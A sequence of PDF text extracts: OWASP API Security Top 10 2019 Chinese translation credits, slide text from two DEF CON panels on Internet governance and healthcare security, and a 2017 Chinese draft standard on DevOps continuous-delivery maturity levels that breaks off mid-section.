• Guillaume Benats
• IgorSasovets
• Inonshk
• JonnySchnittger
• jmanico
• jmdx
• Keith Casey
• kozmic
• LauraRosePorter
• Matthieu Estrade
• nathanawmk
• PauloASilva
• pentagramz
• philippederyck
• pleothaud
• r00ter
• Raj kumar
• Sagar Popat
• Stephen Gates
• thomaskonrad
• xycloops123
感谢以下参与本中文版本《OWASP API 安全 Top 10 2019》的OWASP中国成员。
•
组长:肖文棣
•
翻译:陈毓灵、黄鹏华、黄圣超、任博伦、张晓鲁(排名不分先后,按姓氏拼音排列)
•
审查:王颉
由于项目组成员水平有限,存在的错误敬请指正。如有任何意见或建议,可联系我们。邮箱:
[email protected]
+ACK
致谢
扫一扫
关注OWASP中国 | pdf |
World War 3.0
Chaos, Control & The Battle for the Net
DEFCON 20
World War 3.0
Chaos, Control & The Battle for the Net
DEFCON 20
ABSTRACT:
There is a battle under way for control of the Internet. Some see it as a fight
between forces of Order (who want to superimpose existing, pre-digital power
structures and their notions of privacy, intellectual property, security, and
sovereignty onto the Net) and forces of Disorder (who want to abandon those old
structures and let the will of the crowd control a new global culture). Yet this
binary view of the conflict excludes the characters with the best chance of
resolving it: those who know that control is impossible and chaos is untenable, a
group that Vanity Fair, in an article called "World War 3.0," called "the forces of
Organized Chaos." This panel gathers leading proponents of that worldview to
discuss urgent issues of Internet governance, which may come to a head later
this year in a Dubai meeting of the U.N.'s International Telecommunications
Union. If government control and anarchistic chaos online are unacceptable,
what exactly do the forces of organized chaos propose as an alternative? And
what is the DefCon community's role in helping to realize that vision of the Net?.
The Writer
Michael J Gross
@M_J_Gross
The Architect
Vint Cerf
[not present]
The Boundary Spanner
Jeff Moss
@TheDarkTangent
The Philosopher
Joshua Corman
@JoshCorman
The Key Master
Dan Kamnisky
@dakami
The Ambassador
Rod Beckstrom
@RodBeckstrom
Organized Chaos
Control and Chaos
”World War 3.0” by Michael Joseph Gross
Vanity Fair - May 2012
Tyranny or Chaos...
Does not one cause
the other?
“It’s a Trap” on shirt.woot.com
1914
Resources
“World War 3.0” in Vanity Fair May 2012
http://www.vanityfair.com/culture/2012/05/internet-
regulation-war-sopa-pipa-defcon-hacking
“Building a Better Anonymous”
by @JoshCorman & @attritionorg
http://blog.cognitivedissidents.com/2011/12/20/building-a-
better-anonymous-series-part-0/
“We Are Legion: The Story of the Hacktivists”
Documentary by Brian Knappenberger
http://wearelegionthedocumentary.com/
ITU Site for December Dubai WCIT-12
http://www.itu.int/en/wcit-12/Pages/default.aspx | pdf |
D0 N0 H4RM:
A HEALTHCARE SECURITY
CONVERSATION
D0#No#H4rm#
a#healthcare#security#conversation#
D0 N0 H4RM:
A HEALTHCARE SECURITY
CONVERSATION
D0#No#H4rm#
a#healthcare#security#conversation#
Fireside
Fireside Hax
Moderators
Christian#Dameff,#MD#
UC#San#Diego#
Jeff#Tully,#MD#
UC#Davis#
Josh#Corman#
CSO#PTC#
I#Am#The#Cavalry#
Beau#Woods#
I#Am#The#Cavalry#
Special Guest
Suzanne Schwartz MD, MBA
Associate Director for Science and
Strategic Partnerships
Food and Drug Administration
Featuring
Rob#Suárez#
Head#of#Product#Security#
BD#
Jay#Radcliffe#
Security#Researcher#
Boston#Scientific##
David#Nathans#
Product#Security#Office#
Siemens#
Maxwell#Bland#
Security#Researcher#
UC#San#Diego#
Special Guest
Seth Carmody, PhD
Cybersecurity Project Manager
Food and Drug Administration
SHOUT OUTS
Joel Cardella
Product Security Director
Thermo-Fisher
Nick van Terheyden, MD
Founder, Incremental Healthcare
Shawn Merdinger
Security Researcher
Ricky Dhaliwal, MD JD
Colorado Permanente
Janine Medina
DEF CON Biohacking Village
Project Manager
Jessica Wilkerson
Professional Staff Member
House Energy and Commerce
Audra Hatch
Security Researcher
The$Doctor$
Sir#Luke#Fildes#1887$
The$Doctor$
Sir#Luke#Fildes#1887$
#d0n0h4rm#
Challenges and
Opportunities | pdf |
技
术
标
准
研发运营一体化能力成熟度模型
第 3 部分:持续交付过程
The DevOps capability maturity model
Part 3: Continuous delivery process
(征求意见稿)
2017 年 11 月 18 日
YDB XXXXX—XXXX
I
目 次
目次................................................................................... I
前言.................................................................. 错误! 未定义书签。
研发运营一体化......................................................................... 1
1 范围 ............................................................................... 1
2 规范性引用文件 ..................................................................... 1
3 术语 ............................................................................... 1
下列术语和定义适用于本文件。 ......................................................... 1
3.1 AB 测试 ab test .............................................................. 1
3.2 制品 artifact ............................................................... 1
3.3 代码复杂度 code complexity .................................................. 1
3.4 部署流水线 deployment pipeline .............................................. 1
4 缩略语 ............................................................................. 2
5 综述 ............................................................................... 2
6 配置管理 ........................................................................... 2
6.1 版本控制 .................................................................... 2
6.2 版本可追溯性 ................................................................ 3
7 构建与持续集成 ..................................................................... 4
7.1 构建实践 .................................................................... 4
7.2 持续集成 .................................................................... 5
8 测试管理 ........................................................................... 5
8.1 测试分层策略 ................................................................ 6
8.2 代码质量管理 ................................................................ 6
8.3 自动化测试 .................................................................. 7
9 部署与发布管理 ..................................................................... 8
9.1 部署与发布模式 .............................................................. 8
9.2 持续部署流水线 .............................................................. 9
10 环境管理 .......................................................................... 9
11 数据管理 ......................................................................... 10
11.1 测试数据管理 .............................................................. 10
11.2 数据变更管理 .............................................................. 11
12 度量与反馈 ....................................................................... 12
12.1 度量指标 .................................................................. 12
12.2 度量驱动改进 .............................................................. 13
YDB XXXXX—XXXX
II
前 言
研发运营一体化是指在 IT 软件及相关服务的研发及交付过程中,将应用的需求、开发、测试、部
署和运营统一起来,基于整个组织的协作和应用架构的优化,实现敏捷开发、持续交付和应用运营的无
缝集成。帮助企业提升 IT 效能,在保证稳定的同时,快速交付高质量的软件及服务,灵活应对快速变
化的业务需求和市场环境。
本标准是“研发运营一体化能力成熟度模型”系列标准的第 3 部分,该系列标准的结构和名称如
下:
§
第 1 部分:总体架构
§
第 2 部分:敏捷开发管理过程
§
第 3 部分:持续交付过程
§
第 4 部分:技术运营过程
§
第 5 部分:应用架构
§
第 6 部分:安全管理
§
第 7 部分:组织结构
本标准按照 GB/T 1.1-2009 给出的规则起草。
本标准由中国通信标准化协会提出并归口。
本标准起草单位: DevOps 时代社区、高效运维社区、中国信息通信研究院、深圳优维科技有限公
司、中兴通信股份有限公司
本标准主要起草人:石雪峰、张乐、景韵、王津银、鞠炜刚、萧田国、栗蔚
1
研发运营一体化
总体架构及能力成熟度模型
1 范围
本标准规定了研发运营一体化的持续交付过程及能力成熟度模型。本标准中的研发运营一体化包括
IT软件及服务的需求、开发、测试、部署和运营五个环节,并实现敏捷开发、持续交付和技术运营的顺
序闭环集成。
本标准适用于企业在实施IT软件开发和服务过程中实现研发运营一体化架构,提升IT效能。
2 规范性引用文件
下列文件中的条款通过本部分的引用而成为本部分的条款。凡是注日期的引用文件,仅所注日期的
版本适用于本文件。凡是不注日期的引用文件,其最新版本(包括所有的修改单)适用于本文件。
[1] GB/T 32400-2015 信息技术 云计算 概览与词汇
[2] GB/T 32399-2015 信息技术 云计算 参考架构
[3] YD/T2441-2013 互联网数据中心技术及分级分类标准
[4] GB/T 33136-2016 信息技术服务数据中心服务能力成熟度模型
3 术语
下列术语和定义适用于本文件。
3.1 AB 测试 ab test
为Web或App界面或流程制作两个(A/B)或多个(A/B/n)版本,在同一时间维度,分别让组成成分
相同(相似)的访客群组随机的访问这些版本,收集各群组的用户体验数据和业务数据,最后分析评估
出最好版本正式采用。
3.2 制品 artifact
即构建过程的输出物,包括软件包,测试报告,应用配置文件等。
3.3 代码复杂度 code complexity
主要度量指标为圈复杂度,即代码中线性独立路径的数量。
3.4 部署流水线 deployment pipeline
指软件从版本控制库到用户手中这一过程的自动化表现形式。
2
4 缩略语
下列缩略语适用于本文件。
CI
Continuous Integration
持续集成
CD
Continuous Delivery
持续交付
MVP
Most Variable Product
最小可行产品
DEEP Principle Detailed Appropriately,Estimated,Emergent,Prioritized principle 适
当细化的,有估算的,随时产生的,有优先级的原则
UI
User Interface
用户界面
UAT
User Acceptance Testing
用户验收测试
OS Operation System
操作系统
5 综述
持续交付是指以可持续的方式将各类变更(包括新功能、缺陷修复、配置变化、实验等)安全、快
速、高质量地落实到生产环境或用户手中的能力。
持续交付的分级技术要求包括:配置管理、构建与持续集成、测试管理、部署与发布管理、环境管
理、数据管理、度量与反馈等,如图1所示。
图 3 持续交付分级技术要求
6 配置管理
配置管理是指一个过程,通过该过程,所有与项目相关的产物,以及它们之间的关系都被唯一定义、
修改、存储和检索,保证了软件版本交付生命周期过程中所有交付产物的完整性,一致性和可追溯性。
配置管理是持续交付的基础,是保障持续交付所有活动顺畅有效开展的前提。良好设计的配置管理
策略,可以提高组织协作的效率,改善产品价值交付的完整流程。
配置管理可以分为版本控制和版本可追溯性两个维度表述。
6.1 版本控制
版本控制是指通过记录软件开发过程中的源代码、配置、工具、环境、数据等的历史信息,快速重
现和访问任意一个修订版本。
版本控制是团队协作交付软件的基础,应支持团队间所有变更历史的详细信息查询及共享,包括修
改人员、修改时间、文件内容以及注释信息等,通过有效信息共享,加快问题定位和沟通协作效率。
3
级别
版本控制系统
分支管理
构建产物管理
单一可信数据源
1
未使用统一的版本
控制系统,源代码
分散在研发本地设
备管理
缺乏明确的分支管理
策略,分支生命周期
混乱
未使用统一的制品库,构
建产物通过直接拷贝或
本地共享等方式进行分
发
无
2
使用集中式的版本
控制系统并将所有
源代码纳入系统管
理
采取长周期和大批量
的方式进行代码提交,
代码合并过程存在大
量冲突和错误
使用统一的制品库管理
构建产物,有清晰的分级
和目录结构及权限管控
并通过单一制品库地址
进行分发
无
3
使用分布式的版本
控制系统,并将所有
源代码、配置文件、
构建和部署等自动
化脚本纳入系统管
理
采取短分支频繁提交
的方式,研发人员至少
每天完成一次代码提
交,代码合并过程顺畅
使用统一的制品库管理
构建产物,并将二进制库
文件和三方依赖软件工
具等纳入制品库管理
版本控制系统和制品库
作为单一可信数据源,覆
盖生产部署环节
4
将数据库变更脚本
和环境配置等纳入
版本控制系统管理
版本控制系统支持
自动化的变更操作
分支策略满足持续交
付需求,可灵活适应产
品交付
对制品库完成分级管理,
有成熟的备份恢复清理
策略,如采用使用分布式
制品库
单一可信数据源进一步
覆盖研发本地环境
5
将软件生命周期的
所有配置项纳入版
本控制系统管理,可
完整回溯软件交付
过程满足审计要求
持续优化的分支管理
策略,可支持团队高效
协作
同上
单一可信数据源贯穿整
研发价值流交付过程
在组织内部开放共享,建
立知识积累和经验复用
体系
6.2 版本可追溯性
版本可追溯性是指软件系统中的每一次变更都可以追溯变更的详细信息,并向上追溯变更的原始需
求、流转过程等所有关联信息。
可追溯性也是版本回滚的历史依据和实施基础,建立良好的版本可追溯性可实现对任一版本完整环
境流程的自动化,精确回滚,快速重现问题和恢复正常环境。
级别
变更过程
变更追溯
变更回滚
1
变更过程不受控且变更信
息分散在每个系统内部,缺
乏信息的有效共享机制
变更缺乏基本的可追溯性
变更问题定位困难且回滚操作具
有高风险
2
代码变更过程应附带变更
管理信息
有清晰定义的软件版本号规则,实
现版本和代码的关联,可追溯版本
构建对应的完整源代码信息
可支持版本间差异对比和代码级
别问题定位和回滚
4
3
所有配置项变更由变更管
理系统触发,并作为版本控
制系统的强制要求
实现版本控制系统和变更管理系统
的自动化关联,信息双向同步和实
时可追溯
实现变更管理系统和版本控制
系统的同步回滚,保证状态的一
致性
4
使用同一套变更管理系统
覆盖从需求到部署发布全
流程
变更依赖被识别和标记,实现数据
库和环境变更信息的可追溯
可根据变更管理系统按需快速导
出复用软件代码变更集,如建立
从变更管理系统到软件代码变更
集的关系数据库
5
可视化变更生命周期,支
持全程数据分析管理和满
足审计要求
实现从需求到部署发布各个环节的
相关全部信息的全程可追溯
支持任何时间点全部状态的自动
化回滚需求
7 构建与持续集成
构建是将软件源代码通过构建工具转换为可执行程序的过程,一般包含编译和链接两个步骤,将高
级语言代码转换为可执行的机器代码并进行相应的优化,提升运行效率。
持续集成是软件构建过程中的一个最佳实践,在版本控制的基础上,通过频繁的代码提交,自动化
构建和自动化测试,加快软件集成周期和问题反馈速度,从而及时验证系统可用性。
7.1 构建实践
构建实践关注软件代码到可运行程序之间的过程,通过规则、资源和工具的有效结合,提升构建质
量和构建速度,使构建成为一个轻量级,可靠可重复的过程。同时构建产物被明确标识管理,采用清晰
的规则定义版本号和目录结构有助于团队成员可以随时获取到可用版本,以及版本相关的信息,快速验
证回溯版本变更。
级别
构建方式
构建环境
构建计划
构建职责
1
采用手工方式进行
构建,构建过程不可
重复
使用本地设备,构建环境
不可靠
没有明确的版本号规则
和构建任务计划
构建工具和环境受限
于团队人员能力,频繁
手动干预维护
2
实现脚本自动化,通
过手工配置完成构
建
有独立的构建服务器,多
种任务共享构建环境
明确定义版本号规则,
并根据发布策略细分构
建类型,实现每日自动
构建
构建工具和环境由专
人负责维护,并使用权
限隔离
3
定义结构化构建脚
本,实现模块级共享
复用和统一维护
构建环境配置实现标准
化,有独立的构建集群,
单次构建控制在小时级
明确定义构建计划和规
则,实现代码提交触发
构建和定期自动执行构
建
构建工具和环境由专
门团队维护,并细分团
队人员职责
4
实现构建服务化,可
按需提供接口和用
户界面用于可视化
构建编排
优化构建速度,实现增量
化构建和模块化构建,单
次构建控制在分钟级,如
可采用分布式构建集群、
构建缓存等技术
分级构建计划,实现按
需构建并达到资源和速
度的有效平衡
构建系统服务化提供
更多用户使用,构建不
再局限于专业团队进
行
5
5
持续优化的构建服
务平台,持续改进服
务易用性
持续改进构建性能,实现
构建资源共享和动态按需
分配回收,如搭建基于云
服务虚拟化和容器化的分
布式构建集群
同上
将构建能力赋予全部
团队成员,并按需触发
构建实现快速反馈
7.2 持续集成
持续集成是软件工程领域中的一种最佳实践,即鼓励研发人员频繁的向主干分支提交代码,频率为
至少每天一次。每次提交都触发完整的编译构建和自动化测试流程,缩短反馈周期,出现问题第一时间
进行修复,从而保证软件代码质量,减少大规模代码合并的冲突和问题,让软件随时处于可发布状态。
级
别
集成服务
集成频率
集成方式
反馈周期
1
没有搭建持续集成
服务,团队成员缺乏
对持续集成的理解
长期本地开发代码集成
频率几周或者几月一次
代码集成作为软件交付
流程中的一个独立阶段
每次集成伴随大量的问题
和冲突,集成期间主干分
支长期不可用
2
搭建统一的持续集
成服务并对系统进
行日常维护和管理
采用团队定期统一集成
的策略,代码集成频率
几天或者几周一次
在部分分支上进行每天
多次的定时构建
集成问题反馈和解决需要
半天或者更长时间
3
组建专门的持续集
成团队,负责优化持
续集成系统和服务
研发人员至少每天向代
码主干集成一次
每次代码提交触发自动
化构建,构建问题通过自
动分析精准推送相关人
员处理
集成问题反馈和解决可以
在几个小时内完成
4
持续集成嵌入每个
研发团队日常活动,
实现持续集成系统
服务化和自助化
研发人员每天多次向代
码主干集成,每次集成
代价较低
每次代码提交构建触发
自动化测试和静态代码
检查,测试问题自动上报
变更管理系统,测试结果
作为版本质量标准要求,
如:采取质量门禁等方式
强化主干代码质量
集成问题反馈和解决控制
在 30 分钟以内完成
5
持续优化和改进团
队持续集成服务,实
现组织交付能力提
升
任何变更(代码,配置,
环境)都会触发完整的
持续集成流程
实现持续集成分级和自
动化测试分级,满足不同
模块和集成阶段的差异
化需求
集成问题反馈和解决控制
在 10 分钟以内完成
8 测试管理
测试管理是指一个过程,通过该过程,所有与测试相关的过程、方法被定义。在产品投入生产性运
行之前,验证产品的需求,尽可能地发现并排除软件中的缺陷,从而提高软件的质量。
测试管理又可以分为测试分层策略、代码质量管理、自动化测试等多个维度表述。
6
8.1 测试分层策略
测试分层策略是建立一种分层的测试体系,把测试作为一个整体来规划和执行,融入到持续交付的
各个阶段中,达到质量防护的目的。
级别
分层方法
分层策略
测试时机
1
只进行用户/业务级的 UI 测
试
尚未建立测试分层策略,测试不分
层
测试在软件交付过程中在开发完
成后才介入
2
采用接口/服务级测试对模
块/服务进行覆盖全面的接
口测试;采用代码级测试对
核心模块的函数或类方法
进行单元测试;对系统进行
基本的性能测试
测试开始分层,但对测试分层策略
缺乏系统的规划,对用户/业务级测
试、接口/服务级、代码级测试分布
比例由高到低,各层测试缺乏有效
的设计
测试在持续交付过程中的介入时
间提前到开发的集成阶段,接口/
服务级测试在模块的接口开发完
成后进行
3
采用代码级测试对模块的
函数或类方法进行覆盖全
面的单元测试;系统全面的
进行性能、容量、稳定性、
可靠性、易用性、兼容性、
安全性等非功能性测试
对测试分层策略进行系统的规划,
用户/业务级、接口/服务级、代码级
测试分布比例由低到高,充分设计;
对非功能性测试进行全面系统的设
计
测试在持续交付过程中的介入时
间提前到开发的编码阶段,代码
级测试在模块的函数或类方法开
发完成后进行
4
采用测试驱动开发的方式
进行代码级、接口级测试;
采用探索性测试方法对需
求进行深入挖掘测试
测试分层策略的各层测试具有交叉
互补性
代码级测试在模块的函数或类
方法开发过程中同步进行和完
成;接口/服务级测试在模块的
接口开发过程中同步进行和完
成
5
采用验收测试驱动开发的
方式进行用户/业务级的 UI
测试
定期验证测试分层策略,是否完整、
有效,持续优化策略
在需求阶段进行用户/业务级测
试设计,在需求特性开发、交付
整个过程中同步进行并完成测
试
8.2 代码质量管理
代码质量管理是在软件研发过程中保证代码质量的一种机制,当代码变更后,可以对代码质量进行
检查、分析,给出结论和改进建议,对代码质量数据进行管理,并可以对代码质量进行追溯。
级
别
质量规约
检查策略
检查方式
反馈处理
1
代码质量检查无任
何规约
代码质量检查无针对检
查范围、质量门限等相
关的策略
代码质量检查采用人工
方式进行评审
对代码质量检查结果处理
不及时,遗留大量技术债
2
代码质量检查具备
代码质量检查有针对检
代码质量检查采用自动
对代码质量检查结果给出
7
基本规约,但还缺乏
完整性和有效性
查范围、质量门限的策
略,对代码规范、错误
和圈复杂度、重复度等
质量指标进行检查分析
化结合手工方式进行
反馈,根据反馈进行处理,
对遗留的部分技术债缺乏
跟踪和管理,导致遗漏
3
代码质量检查具备
完整、有效和强制执
行的规约
代码质量检查将安全漏
洞检查、合规检查纳入
到检查范围
代码质量检查完全自动
化,不需要手工干预
根据代码质量检查结果反
馈及时处理,技术债仍有
短期遗留,但进行有效的
跟踪、管理和处理
4
代码质量检查规约
根据需要可进行扩
展和定制
代码质量检查针对检查
范围、质量门限的策略
可根据需要灵活调整
对代码质量检查发现的
部分问题自动提出修改
建议,支持可视化
将检查结果强制作为版本
质量标准要求,根据代码
质 量 检 查 提 出 的 修 改 建
议,对问题及时处理,在
研发阶段主动解决技术债
5
定期验证代码质量
规约的完整性和有
效性,持续优化
定期验证代码质量
策略的完整性和有效
性,持续优化
具备企业级的代码质量
管理平台,以服务的形式
提供对代码质量的检查、
分析
对代码质量数据进行统一
管理,可有效追溯并对代
码质量进行有效度量
8.3 自动化测试
自动化测试是把以人为驱动的测试行为转化为机器执行的一种过程,在预设条件下运行系统或应用
程序,执行测试并评估测试结果,以达到节省人力、时间或硬件资源,提高测试效率和准确性。
级
别
自动化设计
自动化开发
自动化执行
自动化分析
1
未采用自动化方式
测试,纯手工测试
尚未对自动化测试脚本
进行开发和管理,手工
测试
手 工 测 试 执 行 效 率 低
下,以周级为单位
手工对测试结果进行分
析判断,错误高,可信度
低
2
尚未对测试用例中
自动化部分进行规
划和设计,覆盖不完
整
对自动化测试脚本进行
开发和本地管理
对用户/业务级测试采用
自动化测试,自动化测试
的执行效率不高,以天级
为单位
对自动化测试结果具备一
定的自动判断能力,存在
一定的误报,可信度不足
3
根据需求、接口和代
码对不同测试分层
中自动化测试用例
进行规划和设计,自
动化覆盖比较完整
自动化测试脚本开发采
用数据驱动、关键字驱
动等方法;使用版本控
制系统对自动化测试脚
本进行有效管理
从代码级、接口级到 UI
级测试实现了端到端的
自动化测试打通;自动化
测试执行效率较高,代码
级测试分钟级,UI 级测
试小时级
对自动化测试结果具备较
强的自动判断能力,误报
少,可信度高
4
对性能、稳定性、可
自动化测试用例脚本间
有组织级的统一自动化
自动化测试数据模型标准
8
靠性、安全性等非功
能性测试中自动化
用例进行规划和设
计,自动化覆盖完整
具备独立性和大批量执
行的健壮性
测试平台,和上下游需
求、故障系统打通;可以
根据需求针对性自动关
联选择自动化测试用例
脚本执行;可以将由于版
本原因导致的失败用例
和故障关联
化,和上下游需求、故障
等研发数据关联,可以对
自动化测试效果进行度量
分析。例如:需求测试覆
盖率、测试通过率和测试
效率等。
5
对故障和测试进行
复盘,对遗漏的测试
用例进行补充,不断
优化和完善,持续提
升覆盖率
自动化脚本是测试用
例设计的活文档,自动
化脚本开发和测试用
例设计完全统一
采用企业级统一的自动
化测试平台,以云化的方
式提供测试服务,进行分
布式测试调度执行,提高
测试执行效率和资源利
用率;定期验证自动化执
行策略,持续优化
对自动化测试结果可以智
能分析,自动分析失败用
例的失败类型及原因,可
以自动向故障管理系统提
交故障,可信度高
9 部署与发布管理
部署与发布泛指软件生命周期中,将软件应用系统对用户可见,并提供服务的一系列活动,包括系
统配置,发布,安装等。整个部署发布过程复杂,涉及多个团队之间的协作和交付,需要良好的计划和
演练保证部署发布的正确性。
其中部署偏向技术实践,即将软件代码,应用,配置和数据库变更应用到测试环境、准生产环境和
生产环境的过程。发布偏向于业务实践,指将部署完成的应用软件功能和服务正式对用户可见,提供线
上服务的过程。部署和发布的有机结合,实现了软件价值向最终用户的交付。
9.1 部署与发布模式
部署和发布模式关注交付过程中的具体实践,将部署活动自动化并前移到研发阶段,通过频繁的演
练和实践部署活动,成为研发日常工作的一部分,从而减少最终部署的困难和不确定性,可靠可重复的
完成部署发布任务。部署发布模式通过合理规划,分层实施,一方面减少软件最终上线交付风险,同时
可及时获取用户信息反馈,帮助持续改善整个软件交付过程和软件功能定义。
级
别
部署方式
部署活动
部署策略
部署质量
1
运维人员手工完成
所有环境的部署
部署过程复杂不可控,
伴随大量问题和较长的
停机时间
采用定期大批量部署策
略
部署整体失败率较高,并
且无法实现回滚,生产问
题只能在线上修复,修复
时间不可控
2
运维人员通过自动
化脚本实现部署过
程部分自动化
部署过程通过流程文档
定义实现标准化整体可
控
应用作为部署的最小单
位,应用和数据库部署实
现分离,实现测试环境的
自动化部署
实 现 应 用 部 署 的 回 滚 操
作,部署失败率中等,问
题可及时修复
3
部署和发布实现全
使用相同的过程和工具
可运行的环境作为部署
部署活动集成自动化测试
9
自动化,同时支持数
据库自动化部署
完成所有环境部署,一
次部署过程中使用相同
的构建产物
的最小单位,应用和配置
进行分离
功能,并以测试结果为部
署前置条件
每次部署活动提供变更对
象范围报告和测试报告
4
部署发布服务化,实
现交付团队自助一
键式多环境自动化
部署过程可灵活响应
业务需求变化,通过合
理组合高效编排
通过多种部署发布策略
保证流程风险可控,如:
蓝绿部署,金丝雀发布
建立监控体系跟踪和分析
部署过程,出现问题自动
化降级回滚,失败率较低
5
持续优化的部署发
布模式和工具系统
平台
持续部署,每次变更都
触发一次自动化生产环
境部署过程
软件交付团队自主进行
安全可靠的部署和发布
活动
持续优化的部署监控体
系和测试体系,部署失败
率维持在极低水平
9.2 持续部署流水线
持续部署流水线是DevOps的核心实践,通过可靠可重复的流水线,打通端到端价值流交付,实现交
付过程中各个环节活动的自动化和可视化。部署流水线通过将复杂的软件交付流程细分为多个阶段,每
个阶段层层递进,提升软件交付质量信心,并且在流水线过程中提供快速反馈,减少后端环节浪费。
可视化流水线可以增强跨组织的协同效率,提供有效的信息共享平台,从而统一组织目标,并且不
断识别流水线中的约束点和瓶颈,以及潜在的自动化及协作场景,通过持续改进而不断提升软件交付效
率。
级别
协作模式
流水线过程
过程可视化
1
整个软件交付过程严格遵循
预先计划,存在复杂的部门
间协作和等待,只有在开发
完成后才进行测试和部署
软件交付过程中的大部分工作通
过手工方式完成
交付过程中的信息是封闭的,交付
状态不可追溯
2
通过定义完整的软件交付过
程和清晰的交付规范,保证
团队之间交付的有序
软件交付过程中的各个环节建立
自动化能力以提升处理效率
交付过程在团队内部可见,信息在
团队间共享,交付状态可追溯
3
团队间交付按照约定由系统
间调用完成,仅在必要环节
进行手工确认
打通软件交付过程中的各个环
节,建立全流程的自动化能力,
并根据自动化测试结果控制软件
交付质量
交付过程组织内部可见,团队共享
度量指标
4
团队间依赖解耦,可实现独
立安全的自主部署交付
建立可视化部署流水线,覆盖整
个软件交付过程,每次变更都会
触发完整的自动化部署流水线
部署流水线全员可见,对过程信息
进行有效聚合分析展示趋势
5
持续优化的交付业务组织
灵活响应业务变化改善发
布效率
持续部署流水线驱动持续改进
部署流水线过程信息进行数据价
值挖掘,推动业务改进
10 环境管理
10
环境作为DevOps持续敏捷交付过程中最终的承载,环境的生命周期管理、一致性管理、环境的版本
管理都变得非常重要。环境管理是用最小的代价来达到确保一致性的终极目标。
级
别
环境类型
环境构建
环境依赖与配置管理
1
环境类型只有生产环境和
非生产环境的划分
环境的构建通过人工创建完成
无依赖管理,环境的管理就是一
个 OS 的交付
2
IT 交付过程意识到部分测
试环境的重要性,开始提供
功能测试环境。
环境构建通过一键化的脚本或者虚
拟机来完成的,构建过程完全黑盒
化完成。
以应用为中心有 OS 级别的依赖
和配置管理能力,比如说操作系
统版本、组件版本、程序包版本
等等
3
持续交付过程意识到研发
环境的重要性,开始提供面
向各类开发者独立的研发
工作区。
环境的构建通过资源交付平台来
完成,并且底层是由云来交付
以应用为中心,有服务级依赖的
配置管理能力,比如说依赖的关
联服务,Mysql 服务、cache 服
务、关联应用服务等等
4
全面的测试与灰度环境对于
质 量 交 付 过 程 来 说 非 常 重
要,有各类的环境类型划分,
区分了开发者,技术测试及
业务测试环境以及灰度发布
环境等等
环境的构建可以通过 Docker 容器
化快速交付,低成本构建一个新
的环境
环境和依赖配置管理可以资源
化描述,类似 dockerfile,大大
提升其配置管理能力
5
根据业务与应用的需要,弹
性分配各类环境
环境的构建结合底层 IT 资源状
况,采用了各类混合 IT 技术,根
据业务及应用架构弹性构建
环境依赖和配置可以做到实例
级的动态配置管理能力,根据业
务和应用架构的变化而变化
11 数据管理
系统开发过程中为了满足不同环境的测试需求,以及保证生产数据的安全,需要人为准备数量庞大
的测试数据,需保证数据的有效性以适应不同的应用程序版本。另外应用程序在运行过程中会产生大量
数据,这些数据天生有状态,同应用程序本身的生命周期不同,作为应用最有价值的内容需要妥善保存,
并随应用程序的升级和回滚进行迁移。
11.1 测试数据管理
测试数据需要满足多种测试类型的需求(手工测试,自动化测试),覆盖正常状态,错误状态和边
际状态,测试数据需同时满足测试效率和数据量的要求。测试数据的输入需要受控,并运行在受控环境
中,保证输出的有效性,同时由于持久数据的必要行,要避免数据被未授权的篡改,以影响测试结果的
客观一致性。为了模拟类生产环境系统运行情况,常采用仿生产环境数据,此类测试数据在使用时需要
注意数据安全,避免敏感用户数据泄露,及时进行数据清洗和漂白。
级
别
数据来源
数据覆盖
数据独立性
数据安全
11
1
每次测试时手工创
建数据,测试数据都
是临时性的
测试数据覆盖率低,仅
支持部分测试场景,无
法有效支持测试工作
测试数据没有版本控制
和备份恢复机制
测试数据来源复杂,混入
核心生产数据,带来信息
安全风险
2
从生产环境导出一
个子集并进行清洗
后,形成基准的测试
数据集,满足部分测
试用例执行要求
测 试 数 据 覆 盖 主 要 场
景,包括正常类型,错
误类型以及边界类型,
并 进 行 初 步 的 分 类 分
级,满足不同测试类型
需要
测试数据有明确备份恢
复机制,实现测试数据
复用和保证测试一致性
测试数据经过清洗,不包
含敏感信息,有效避免信
息安全风险
3
同上
建立体系化测试数据,
进行数据依赖管理,覆
盖更加复杂的业务场
景
每个测试用例拥有专
属的测试数据,有明确
的测试初始状态
测试用例的执行不依
赖其他测试用例执行
所产生的数据
同上
4
每个测试用例专属
的测试数据都可以
通过模拟或调用应
用程序 API 的方式
自动生成
测试数据覆盖安全漏洞
和开源合规等需求场景
并建立定期更新机制
通过测试数据分级,实
现专属测试数据和通
用测试数据的有效管
理和灵活组合,保证测
试数据的独立性
同上
5
所有的功能、非功能
测试的测试数据,都
可以通过模拟、数据
库转储或调用应用
程序 API 的方式自
动生成
持续优化的持续数据管
理方式和策略
同上
同上
11.2 数据变更管理
数据变更管理主要关注应用程序升级和回滚过程中的数据库结构和数据的变更,良好的变更管理策
略可以保证应用版本和数据库版本兼容匹配,以应对应用的快速扩容缩容等线上场景。通过应用变更和
数据变更的解耦,减少系统变更的相互依赖,实施灵活的升级部署。
级
别
变更过程
兼容回滚
版本控制
数据监控
1
数据变更由专业人
员在后台手工完成
数据变更作为软件
发布的一个独立环
节,单独实施和交付
没有识别数据库和应
用版本,存在不兼容风
险
数据变更没有纳入版本
控制,变更过程不可重复
没有建立变更监控体系,
变更结果不可见
2
数据变更通过文档
实现标准化,使用自
动化脚本完成变更
建立数据库和应用的版
本对应关系,并跟踪变
更有效性
数据变更脚本纳入版本
控制,并与数据库版本进
行关联
对变更日志进行收集分
析,帮助问题快速定位
12
3
数据变更作为持续
部署流水线的一个
环节,随应用的部署
自动化完成,无需专
业人员单独执行
每次数据变更同时提供
明确的恢复回滚机制,
并进行变更测试,如:
提供升级和回滚两个自
动化脚本
同上
对数据变更进行流程分级
定义,应对不同环境下的
高危操作
4
应用程序部署和数
据库迁移解耦,可单
独执行
数据变更具备向下兼容
性,支持保留数据的回
滚操作和零停机部署
同上
对数据变更进行监控,自
动发现异常变更状态
5
持续优化的数据管
理方法,持续改进数
据管理效率
同上
同上
监控数据库性能并持续优
化
12 度量与反馈
DevOps基于精益思想发展而来,其中持续改进是精益思想的核心理念之一。DevOps主张在持续交付
的每一个环节建立有效的度量和反馈机制,其中通过设立清晰可量化的度量指标,有助于衡量改进效果
和实际产出,并不断迭代后续改进方向。另外设立及时有效的反馈机制,可以加快信息传递速率,有助
于在初期发现问题,解决问题,并及时修正目标,减少后续返工带来的成本浪费。度量和反馈可以保证
整个团队内部信息获取的及时性和一致性,避免信息不同步导致的问题,明确业务价值交付目标和状态,
推进端到端价值的快速有效流动。
12.1 度量指标
度量指标的拣选和设定是度量和反馈的前提和基础,科学合理的设定度量指标有助于改进目标的达
